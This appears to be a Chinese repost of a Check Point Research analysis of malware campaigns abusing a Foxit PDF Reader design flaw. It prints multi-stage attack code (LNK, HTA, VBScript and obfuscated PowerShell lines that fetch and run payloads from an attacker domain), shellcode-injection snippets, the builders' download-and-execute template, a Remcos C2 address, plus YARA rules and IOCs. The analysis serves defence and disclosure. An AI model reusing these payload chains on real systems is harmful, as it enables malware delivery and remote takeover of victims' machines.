此时,需要遵循多个“链接”/文件才能检索最终的有效负载。第一个有效负载下载 NCGHDFHGTDFJMDFGKJHFTYFUKFYU.LNK 为 .lnk.该文件使用curl .hta 从远程服务器下载文件并从此位置执行它 %AppData%STARTGOVFFGHJFKJHFTFDGHJF.HTA。

/c mode 15,1 & .curl hxxps://digitalmarketingstart.com/PHOTO/photoSTARTGOUPDATEPHOTOVIWERGOSTART.JPG -o %AppData%STARTGOVFFGHJFKJHFTFDGHJF.HTA & start /b %AppData%STARTGOVFFGHJFKJHFTFDGHJF.HTA

代码 18 – 第一个有效负载,.lnk 文件命令。

HTA 文件向同一服务器发起两个请求,获取两个文件。一个是 VBScript 文件,另一个是用作诱饵的真实图像。值得注意的是,此 HTA 文件包含用阿拉伯语编写的注释。

<html><head><script language="VBScript">    Set objShell = CreateObject("WScript.Shell")    ' تحديد روابط التحميل للملفات    Dim urlVBS, urlJPG    urlVBS = "hxxps://digitalmarketingstart.com/PHOTO/PHOTOphoto_2024-04-27_07-31-10.jpg"  ' رابط الملف الأول (FILE.VBS)    urlJPG = "hxxps://digitalmarketingstart.com/photo_2024-04-27_07-31-10.jpg"  ' رابط الملف الثاني (FILE.JPG)    ' تنفيذ أمر التحميل باستخدام curl لكل ملف على حدة    commandVBS = "cmd.exe /c mode 15,1 & curl " & urlVBS & " -o %temp%FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS & start /b %temp%FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS"    commandJPG = "cmd.exe /c mode 15,1 & curl " & urlJPG & " -o %temp%photo_2024-04-27_07-31-10.jpg & start /b %temp%photo_2024-04-27_07-31-10.jpg"    ' تنفيذ أوامر التحميل لكل ملف بشكل متوازٍ    objShell.Run commandVBS, 0, True    objShell.Run commandJPG, 0, True    ' حذف ملف HTA الحالي بعد التحميل    Set objFSO = CreateObject("Scripting.FileSystemObject")    strScriptPath = objFSO.GetAbsolutePathName(Replace(document.location.pathname, "/", ""))    objFSO.DeleteFile strScriptPath    ' إغلاق نافذة التطبيق HTA    window.close</script></head><body></body></html>

代码 19 – 第二个有效负载,.hta 文件内容。

第三有效负载存储为 %temp%FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS 真实图像并在真实图像之前执行。这个 VBScript 很简单,下载额外的 VBScript 代码并相应地执行“响应”。

Execute("set H___________________K=CreateObject(""MSXML2.XMLHTTP""):H___________________K.Open ""POST"",""hxxps://www.digitalmarketingstart.com/digitalmarketing/STARTPOWER2642024GO___________________________AUTO.MP4"",false:H___________________K.send:Execute(H___________________K.responsetext)")

代码 20 – 第三个有效负载,VBScript 文件内容。

VBScript 代码执行以下命令:

mshta hxxps://www.digitalmarketingstart.com/digitalmarketing/ENCLUCKSAQSTART.TXT

代码 21 – 第四个有效负载,VBScript 代码。

.hta 第五个有效负载是与同一端点通信的另一个 文件。它下载并执行另一个 VBScript 文件(第六个),该文件又下载另一个 VBScript 文件(第七个)。

<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -7000,-7000Const RWQICZXUBCOZEYOXXOLPHN = 0WQCRFZGGQLHDIRTXIFVENK = "."YLVTDQQXKKQGPFGEOSJZOP = "$HEVCFLOVSDUCGFHQTKFAHKD = '[]<)#]1%$-63<578699)@3#y]<)#]1%$-63<578699)@3#t@%@2351$@4^^&+&3521_43</&2*6_-!^/61[5!^[email protected].]<)#]1%$-63<578699)@3#t6}}=&_3+#-$^(5^&/@9--+@%@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^=<!3</&2*6_-!^/61[5!^$@6}}=&_3+#-$^(5^&/@9--+@%@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^=<!d@%@2351$@4^^&+&3521_46}}=&_3+#-$^(5^&/@9--+]'.Replace(']<)#]1%$-63<578699)@3#','S').Replace('@%@2351$@4^^&+&3521_4','E').Replace('6}}=&_3+#-$^(5^&/@9--+','R').Replace('])=+^-6^!2=993*!&^=<!','A').Replace('3</&2*6_-!^/61[5!^$@','M');$HQZNQSANBGESOEVVYSOBKZQ = ($HEVCFLOVSDUCGFHQTKFAHKD -Join '')|&('I'+'EX');$HSCYFSROAUPLLCWDPFTSSSZ = '[-!]#<)}-[1=&*=-/=)0_0}y-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2$40(!5$9{){4@0+!*83=8(_)**[<3!m.N{4@0+!*83=8(_)**[<3!-$)047)[({2$40(!5$9{).W{4@0+!*83=8(_)**[<3!bR{4@0+!*83=8(_)**[<3!qu{4@0+!*83=8(_)**[<3!-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2$40(!5$9{)]'.Replace('-!]#<)}-[1=&*=-/=)0_0}','S').Replace('{4@0+!*83=8(_)**[<3!','E').Replace('-$)047)[({2$40(!5$9{)','T');$HVILEIYVLFQVNERXEWCGCXO = ($HSCYFSROAUPLLCWDPFTSSSZ -Join '')|&('I'+'EX');$HVSQXGOSZZWOBNBTGXRCCZL = '&@_-)*0%&3@]3*9/-3]7!5r0(#9@{/8_<86!95505!/82a#!#!%26@*34@32@!6&&0##0(#9@{/8_<86!95505!/82'.Replace('&@_-)*0%&3@]3*9/-3]7!5','C').Replace('0(#9@{/8_<86!95505!/82','E').Replace('#!#!%26@*34@32@!6&&0##','T');$HJCNHHHRXRCBHPAEKDHSXUX = '_]81{)-=]#872]2039$53<73-//{#/_1+&4%8*(}7+tR3<73-//{#/_1+&4%8*(}7+%}[0%58)75/^{8}=[}-41<pon%}[0%58)75/^{8}=[}-41<3<73-//{#/_1+&4%8*(}7+'.Replace('_]81{)-=]#872]2039$5','G').Replace('3<73-//{#/_1+&4%8*(}7+','E').Replace('%}[0%58)75/^{8}=[}-41<','S');$HDRRVVKQKQNGJTRCWXTFBBJ = 'G36=[_^+{34+%8+48#/+$!t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+48#/+$!(6@!}_&+(/#^@7%%}*{=^pon(6@!}_&+(/#^@7%%}*{=^36=[_^+{34+%8+48#/+$!(6@!}_&+(/#^@7%%}*{=^t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+48#/+$!am'.Replace('(6@!}_&+(/#^@7%%}*{=^','S').Replace('36=[_^+{34+%8+48#/+$!','E').Replace('&#-$^#!/&79346)265}]&[','R');$HQLHKKPKITBTDYXPDFDXDCN = '=14&&!*6}12=_047<0$4*%75(-^77{]*}_+=!<[<@@#8a1#&0/6^%#08}/-[@/15^To75(-^77{]*}_+=!<[<@@#8n1#&0/6^%#08}/-[@/15^'.Replace('=14&&!*6}12=_047<0$4*%','R').Replace('75(-^77{]*}_+=!<[<@@#8','E').Replace('1#&0/6^%#08}/-[@/15^','D');&('I'+'EX')($HQZNQSANBGESOEVVYSOBKZQ::new($HVILEIYVLFQVNERXEWCGCXO::$HVSQXGOSZZWOBNBTGXRCCZL('hxxps://www.digitalmarketingstart.com/digitalmarketing/NEWLUCKASGSTART.JPG').$HJCNHHHRXRCBHPAEKDHSXUX().$HDRRVVKQKQNGJTRCWXTFBBJ()).$HQLHKKPKITBTDYXPDFDXDCN())"DUHJKVWUERPRNNKARQDOXB = StrReverse(" "+"l"+"l"+"e"+"h"+"s"+"r"+"e"+"w"+"o"+"p")Set ITTTPGKCLFFSQRFUUWYUSV = GetObject(StrReverse(":"+"s"+"t"+"m"+"g"+"m"+"n"+"i"+"w") _    & StrReverse(""+""+"!"+"}"+"e"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"="+"l"+"e"+"v"+"e"+"L"+"n"+"o"+"i"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"{") _    & WQCRFZGGQLHDIRTXIFVENK & StrReverse("2"+"v"+"m"+"i"+"c"+""+"t"+"o"+"o"+"r"+""))Set RPFCRWSNXWFCEAQKDKOGWP = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("p"+"u"+"t"+"r"+"a"+"t"+"S"+"s"+"se"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))Set NDGKJWLKGWSPQZGHKLTLZG = RPFCRWSNXWFCEAQKDKOGWP.SpawnInstance_NDGKJWLKGWSPQZGHKLTLZG.ShowWindow = RWQICZXUBCOZEYOXXOLPHN' Create Notepad processSet WTQVYZLZBRCALBUSHDHPJG = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("s"+"s"+"e"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))RASUVEQBLDGPFLLFXDQZRH = WTQVYZLZBRCALBUSHDHPJG.Create _    (DUHJKVWUERPRNNKARQDOXB+YLVTDQQXKKQGPFGEOSJZOP, Null, NDGKJWLKGWSPQZGHKLTLZG, intProcessID)self.close</script><body>HBar</body></HEAD> </HTML>

代码 22 – 第 5 个有效负载代码。

在此阶段,攻击链使用了两个 PDF 文件,这些文件采用了不同的“利用”方法,并且需要七次请求和执行脚本语言文件。第七个有效负载 (VBS) 包含嵌入的 Base64 字符串。

  1. DynamicWrapperX 加载程序,dynwrapx.dll(存储为 AUTOUPDATESTART.dll)

  2. Shellcode,被注入到Loader中

DCOM_NAME = SHELLOBJ.EXPANDENVIRONMENTSTRINGS (str_temp) & "" & str_autoupdatestart & ".BIN"IF NOT IS_DOTNET THEN   str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%" & "" & str_rundll32)ELSE   str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%")&"MICROSOFT.NETFRAMEWORKV2.0.50727MSBUILD.EXE"END IFWRITE_FILE DCOM_NAME,TEXTTOBINARY(str_base64_1, "BIN.BASE64")DOSHELLOBJ.RUN "REGSVR32.EXE /I /S "& CHR(7.5+7.6+7.4+8.5+1.5+1.5)&DCOM_NAME& CHR(7.5+7.6+7.4+8.5+1.5+1.5),0,TRUESET DCOM = CREATEOBJECT("DYNAMICWRAPPERX")

代码 23 – 创建 DynamicWrapperX。

DCOM.REGISTER "KERNEL32.DLL", "VirtualAlloc",LCASE("I=PUUU"), LCASE("R=P")....LOADER_PTR = DCOM.VIRTUALALLOC (0,LEN(str_base64_2)/2,4096,64)FOR I = 1 TO LEN (str_base64_2) STEP 2CHAR = ASC(CHR("&H"&MID (str_base64_2,I,2)))DCOM.NUMPUT EVAL(CHAR),LOADER_PTR,(I-1)/2

代码 24 – Shellcode 的分配和注入。

注入过程完成后,它会继续加载并执行 Shellcode,随后解密恶意可执行文件。感染最终表现为 Remcos RAT,其命令和控制服务器位于 139.99.85[.]106:2404,以僵尸网络名称“ Telegram : @Silentkillertv”运行。 Remcos 的另一个实例(由哈希值标识 2266f701f749d4f393b8a123bd7208ec7d5b18bbd22eb47853b906686327ad59)也使用相同的命令和控制服务器。然而,在本例中,僵尸网络名称为“ RemoteHost”。

Check Point 成功发现了各种“在线指纹”,从 YouTube 和 TikTok 帐户到该演员建立的 Telegram 帐户和频道。这些平台被用来传播恶意工具和资源。

FOXIT PDF设计缺陷利用

图 21 –  @Silentkillertv YouTube Chanel。

FOXIT PDF设计缺陷利用

图 22 – Telegram 帐户和频道。

来自威胁行为者的电报消息:

Name: The Silent KillerConnected to the Internet and the world of piracy since 2003I don't have another name online and I never remember I cheated on anyone because this goes against my religion, and that's so bad, that's why I'm honest with people and there's nothing that scares me.A fraudster usually has many names and accounts assigned to fraud. I don’t have any other channel or nameYou don’t have to buy and use my tools, but don’t accuse anyone of being a scam because you don’t have the money to buy and use the tools.Advice for beggars Instead of looking for free tools and begging, go learn to program and develop yourself and don’t waste your time on empty things.Greetings to everyone@Silentkillertv

建设者

在了解该漏洞并识别其关键组件后,我们开始寻找其他恶意样本。在收集的文件池中,我们发现了几个触发我们的检测规则的.NET和Python文件。经过仔细检查,我们确定这些文件实际上是负责生成恶意样本的构建者。

无论编程语言如何,所有构建器都表现出一致的结构。用于该漏洞利用的 PDF 模板包含占位符文本,一旦用户提供下载恶意文件的 URL 的输入,该文本就会被替换。

Python 构建器

Check Point 获得了两个 Python Builder,它们是由同一作者开发的,因为它们具有相同的 Python 代码。唯一的变化在于 PDF 漏洞利用模板中嵌入的 PowerShell 命令。

FOXIT PDF设计缺陷利用

图 23 – Python Builder 源代码。

此构建器中使用的命令最初使用 CMD,然后触发 PowerShell。

FOXIT PDF设计缺陷利用

图 24 – 构建器命令。

在另一个 Python 构建器中,不是将有效负载作为 .vbs 文件删除,而是将其作为 .exe 文件删除。

一旦攻击者成功构建了 PDF 漏洞,最终消息就会用葡萄牙语写入:  “有效负载已成功生成。”

.NET 构建器

对于.NET,我们获得了多个构建器“Avict Softwares I Exploit PDF”、“PDF Exploit Builder 2023”和“FuckCrypt”。所有这三个构建器都有相似的代码,如果参与者窃取彼此的代码并创建自己的构建器,我们不会感到惊讶。

FOXIT PDF设计缺陷利用

图 25 – “Avict Softwares I Exploit PDF”生成器。

FOXIT PDF设计缺陷利用

图 26 – “Avict Softwares”界面。

FOXIT PDF设计缺陷利用

图 27 – “PDF Exploit Builder 2023”模板存储为资源。    

FOXIT PDF设计缺陷利用

图 28 – “FuckCrypt”界面。

“FuckCrypt”包含两个功能:一是“Exe 转 VBS”,二是 PDF 漏洞利用。

所有构建器都有“相同”的命令和流程。它们之间唯一的区别是文件名。下面是它们的通用命令 $+STRING,它显示了它们之间的差异。

/F (CMD) /P (/c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('$URL', '$DROPPED_FILENAME.exe')" >> $BAT_FILENAME.bat &@echo timeout /t 5 >> $BAT_FILENAME.bat &@echo start $DROPPED_FILENAME.exe >> $BAT_FILENAME.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> $VBS_FILENAME.vbs &@echo Dim strArgs >> $VBS_FILENAME.vbs &@echo strArgs = "cmd /c $BAT_FILENAME.bat" >> $VBS_FILENAME.vbs &@echo oShell.Run strArgs, 0, false >> $VBS_FILENAME.vbs & $VBS_FILENAME.vbs &dEl $VBS_FILENAME.vbs

代码 25 – 通用命令。

Python 构建器与“PDF Exploit Builder”(仅支持 EXE)具有相似的名称,这意味着它们要么由同一个人开发,要么其中一个构建器被“复制”并开发为另一种语言。从 .NET 窃取代码并重写 Python 的情况似乎更合理。 “Avict Software”(仅支持 EXE)和“FuckCrypt”(VBS)之间的名称相似表明开发人员或同一作者之间潜在的代码窃取情况类似,如前面的场景所示。

建筑商统计

从命令中观察到的文件名来看,最常用的构建器似乎是“PDF Exploit Builder”和 Python 变体。还有可能添加了手动命令,或者除了获得的构建器之外还存在其他构建器。

FOXIT PDF设计缺陷利用

图 29 – 基于 PDF 命令分析的最常用构建器。

FOXIT PDF设计缺陷利用

图 30 – 执行分析的 PDF 命令。

除了观察到的构建器之外,我们还发现了 2 月 13 日创建的GitHub 项目,提供了另一个 .NET 构建器,其“利用”命令与前面提到的完全相同。 APT 组织APT-C-35 / DoNot Team使用相同的构建器 。

FOXIT PDF设计缺陷利用

图 31 – GitHub Builder

结论

虽然这种“利用”不符合触发恶意活动的经典定义,但它可以更准确地归类为一种针对 Foxit PDF Reader 用户的“网络钓鱼”或操纵形式,诱使他们在不了解其含义的情况下习惯性地单击“确定”。涉及的潜在风险。威胁行为者从电子犯罪到 APT 组织各不相同,地下生态系统多年来一直在利用这种“漏洞”,因为大多数 AV 和沙箱都利用 PDF 阅读器中的主要参与者 Adobe,因此这种“漏洞一直在未被发现”。感染成功和低检测率使得 PDF 可以通过许多非传统方式(例如 Facebook)进行分发,而不会被任何检测规则阻止。 Check Point 向 Foxit Reader 报告了该问题,Foxit Reader 承认了该问题,并表示该问题将在 2024 3 版中解决。

建议

在应用软件更新之前,建议福昕用户对潜在的利用保持警惕,并遵守经典的防御实践。为了减轻受此类威胁影响的风险,必须:

通过及时补丁和其他方式保持操作系统和应用程序更新。

警惕带有链接的意外电子邮件,尤其是来自未知发件人的电子邮件。

增强员工的网络安全意识。

如有任何疑问或不确定性,请咨询安全专家。

保护

Check Point 威胁仿真、Harmony Endpoint 和 Harmony Mobile Protect 全面覆盖攻击策略、文件类型和操作系统,并保护客户免受本报告中描述的攻击类型和“漏洞利用”。

漏洞利用.Wins.FoxitExploit.ta.A

YARA

rule exploit_foxit_pdf{  meta:    author = "Antonis Terefos(@Tera0017) @ Check Point Research"    description = "PDF FOXITReader"  strings:    $pdf_header = "%PDF-"    $pdf_string1 = "/OpenAction"    $pdf_string2 = "/Launch"    $pdf_string3 = "/Win"    $pdf_string4 = //Launch[ nr]*(/[a-zA-Z]+[ nr]*)*/Win/    $command_string1 = "(CMD)" nocase    $command_string2 = "powershell" nocase    $command_string3 = "cmd.exe" nocase    $command_string4 = "Wscript.Shell" nocase    $command_string5 = "DownloadFile(" nocase    $command_string6 = " curl " nocase    $command_string7 = " bitsadmin " nocase  condition:    $pdf_header in (0..1024) and all of ($pdf_string*) and any of ($command_string*)}rule exploit_foxit_pdf_builders{  meta:    author = "Antonis Terefos (@Tera0017) @ Check Point Research"    description = "PDF Foxit Reader samples related to builders"  strings:    $pdf_header = "%PDF-"    $builder_string1 = "startxrefrn1866%%EOF"    $builder_string2 = "ID [ (bc38735adadf7620b13216ff40de2b26) (bc38735adadf7620b13216ff40de2b26) ]"    $pdf_string1 = "/OpenAction"    $pdf_string2 = "/Launch"    $pdf_string3 = "/Win"    $pdf_string4 = //Launch[ nr]*(/[a-zA-Z]+[ nr]*)*/Win/    $command_string1 = "(CMD)" nocase    $command_string2 = "powershell" nocase    $command_string3 = "cmd.exe" nocase    $command_string4 = "Wscript.Shell" nocase    $command_string5 = "DownloadFile(" nocase    $command_string6 = " curl " nocase    $file_string1 = ".exe"    $file_string2 = ".vbs"    $file_string3 = ".bat"    $file_string4 = ".com"  condition:    $pdf_header in (0..1024) and any of ($builder_string*) and all of ($pdf_string*) and any of ($command_string*) and any of ($file_string*)}rule donot_downloader{  meta:    author = "Antonis Terefos (@Tera0017) @ Check Point Research"    description = "APT-C-35 / DoNot Team Downloader"  strings:    $code1 = {83 C0 1A 99 B9 1A 00 00 00 F7 F9 8B C2 83 C0 (41| 61)}    $string1 = "\TestLog\" ascii fullword    $string2 = "\Intel\" ascii fullword    $string3 = "Computer Name: " ascii fullword    $string4 = "IP Address: " ascii fullword    $string5 = "User Name: " ascii fullword    $string6 = "Operating System Version: " ascii fullword    $string7 = "Computer information written to computer_info.txt" ascii fullword    $stirng8 = "filetoupload" ascii fullword  condition:    uint16(0) == 0x5A4D and 6 of them or ($code1 and 4 of ($string*))}rule donot_uploader{  meta:    author = "Antonis Terefos (@Tera0017) @ Check Point Research"    description = "APT-C-35 / DoNot Team Uploader"  strings:    $code1 = {B8 4F EC C4 4E 41 F7 E8 C1 FA 03 8B C2 C1 E8 1F 03 D0 6B C2 1A 44 2B C0 41 80 C0}    $string1 = "filetoupload" ascii fullword    $string2 = "Path not found: [%s]n" wide fullword    $string3 = "Directory: %sn" wide fullword    $string4 = "File: %sn" wide fullword  condition:    uint16(0) == 0x5A4D and 4 of them}

IOCs

(Avict Software) 3f291d07a7b0596dcdf6f419e6b38645b77b551a2716649c12b8706d31228d79(Avict Software) f002712b557a93da23bbf4207e5bc57cc5e4e6e841653ffab59deb97b19f214e(PDF Exploit Builder) ac7598e2b4dd12ac584a288f528a94c484570582c9877c821c47789447b780ec(FuckCrypt) 20549f237f3552570692e6e2bb31c4d2ddf8133c5f59f5914522e88239370514(FuckCrypt) 87effdf835590f85db589768b14adae2f76b59b2f33fae0300aef50575e6340d(FuckCrypt) 5c42a4b474d7433bd9f1665dc914de7b3cc7fbdb9618b0322324b534440737d7(Python) 79e1cb66cb52852ca3f46a2089115e11fff760227ae0ac13f128dda067675fbc(Python) a4a8486c26c050ed3b3eb02c826b1b67e505ada0bf864a223287d5b3f7a0cde0

恶意文件

(PDF) d44f161b75cba92d61759ef535596912e1ea8b6a5a2067a2832f953808ca8609(PDF) 9c5883cf118f1d22795f7b5661573f8099554c5a3f78d592e8917917baa6d20f(PDF) 2aa9459160149ecefd1c9b63420eedc7fe3a21ae0ca3e080c93fd39fef32e9c0(PDF) 8155a6423d64f30d2994163425d3fbe14a52927d3616ffacea36ddc71a6af4b0(PDF) c1436f65acbf7123d1a45b0898be69ba964f0c6d569aa350c9d8a5f187b3c0e7(PDF) de8ecd738f1f24a94aba06f19d426399bc250cc5e7b848b2cbd92fc1d6906403(Blank-Grabber) d2bd6a05d1e30586216e73602a05367380ae66654cd0bccabb0414ef6810ab18(Python-Stealer-Dropper) e32d2966a22243f346e06d4da5164abab63c2700c905f22c09a18125ee4de559(BAT file) eb87ec49879dc44b6794bb70bd6c706e74694e4c2bbc1926dd4cff42e5b63cc6(BAT file) b59ab9147214bc1682006918692febed4ad37e1d305c5c80dc1ee461914eacd2(APT-C-35 / DoNot Team Downloader) 4ef9133773d596d1c888b0ffe36287a810042172b0af0dfad8c2b0c9875d1c65(APT-C-35 / DoNot Team Downloaded1) 3e9a60d5f6174bb1f1c973e9466f3e70c74c771043ee00688e50cac5e8efe185(APT-C-35 / DoNot Team Uploader) 2d40e892e059850ba708f8092523efeede759ecd6e52d8cb7752462fcdb6f715(APT-C-35 / DoNot Team Screen) c943fe1b8e1b17ec379d33a6e5819a5736cb5de13564f86f1d3fba320ccebaa0(APT-C-35 / DoNot Team APK) 7f5f1586b243f477c484c34fa6243c20b3ecf29700c6c17e23a4daf9360e2d2f(APT-C-35 / DoNot Team APK) ecb4f5f0ee0cda289056f2f994c061d53cfbc8ac413f2ca4da8864c68f0a23f6(APT-C-35 / DoNot Team APK) 4a7aeb6f510cf5d038e566a3ccd45e98a46463bb67eb34012c8e64444464b081(PDF) D5483049DC32D1A57E759839930FE17FE31A5F513D24074710F98EC186F06777(PDF) 19A8201C6A3063B897D696330C1B60BD97914514D2AE6A6C3C1796BEC236724A(VBScript) 9A7F4FF5FD0A972EEDA9293727F0EECDD7CE2CFE0A072CDF9D3402EE9C46A48E(VBScript) D761FE4D58FE68FC95D72871429F0FCE6055389A58F81CF0A19EB905A96E1C38(VBScript) B3AD75EEF9208D58A904030D44DA22C59CE7BD47ED798B0A14B58330A1390FE8(VBScript) FC330BB132A345AF05FEB0D275EEEF29C7A439A04223757F33360393CF975CA9(VBScript) A334A9C1A658F4EBEF7BA336F9A27693030DC444509BD9FA8FDEFE8AAAE3A133(VBScript) E9BF261A779C1B3A023189BEF509579BAD8B496DCFE5E96C19CF8CC8BEA48A08(VBScript) EE42CF45FFF12BCC9E9262955470BFED810F3530E651FDDB054456264635D9D2(VBScript) 1CBF897CCCC22A1E6D6A12766ADF0DCEE4C103539ADD2C10C7906042E19519F4(DynamicWrapperX) 4EF3A6703ABC6B2B8E2CAC3031C1E5B86FE8B377FDE92737349EE52BD2604379(ShellCode) A5C9A3518F072982404E68DC6A3DC90EDEBBF292FC1ACA6962B6CCF64F4FE28C(Remcos) 0ADE87BA165A269FD4C03177226A148904E14BD328BDBB31799D2EAD59D7C2FA
原文翻译自:https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/#single-post

原文始发于微信公众号(Ots安全):FOXIT PDF“设计缺陷”利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月15日19:56:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FOXIT PDF设计缺陷利用https://cn-sec.com/archives/2743937.html

发表评论

匿名网友 填写信息